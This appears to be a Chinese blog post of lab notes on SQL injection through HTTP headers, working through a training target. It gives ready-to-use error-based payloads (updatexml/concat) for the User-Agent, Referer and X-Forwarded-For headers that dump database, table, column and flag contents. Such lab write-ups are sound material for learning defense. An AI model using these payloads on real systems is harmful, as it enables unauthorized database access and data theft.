SQL注入----- head注入

                                             head注入


条件:
    需要账号登入成功
    有游客留言
    有插入,储存,记录数据的功能
select *from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,
concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

updatexml(123,concat('~',(select database()),'~'),123)

'~' 十六进制 0x7e       #防止'被过滤.

1' and updatexml(1,concat(0x7e ,(select database()),0x7e),1),'2')


题目: http://inject2.lab.aqlab.cn:81/Pass-07/index.php

源码分析:
INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')
INSERT INTO uagent (`uagent`,`username`) VALUES ('1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

构建代码:1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
通过插件,burp抓包,将代码插入User-Agent 或 refere 或 X-Forwarded-For
    1.User-Agent:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
    2.refere:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe
    3.X-Forwarded-For:空格1' and updatexml(1,concat(0x7e,(select database())),1),'2') -- qwe

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),'2') -- qwe

#'flag_head'表名
 

2' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' and table_schema=database() limit 0,1)),1),'2') -- qwe

#'flag_h1' 字段名

 

3' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),'2') -- qwe

#得到'flag_h1'中的数据
 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值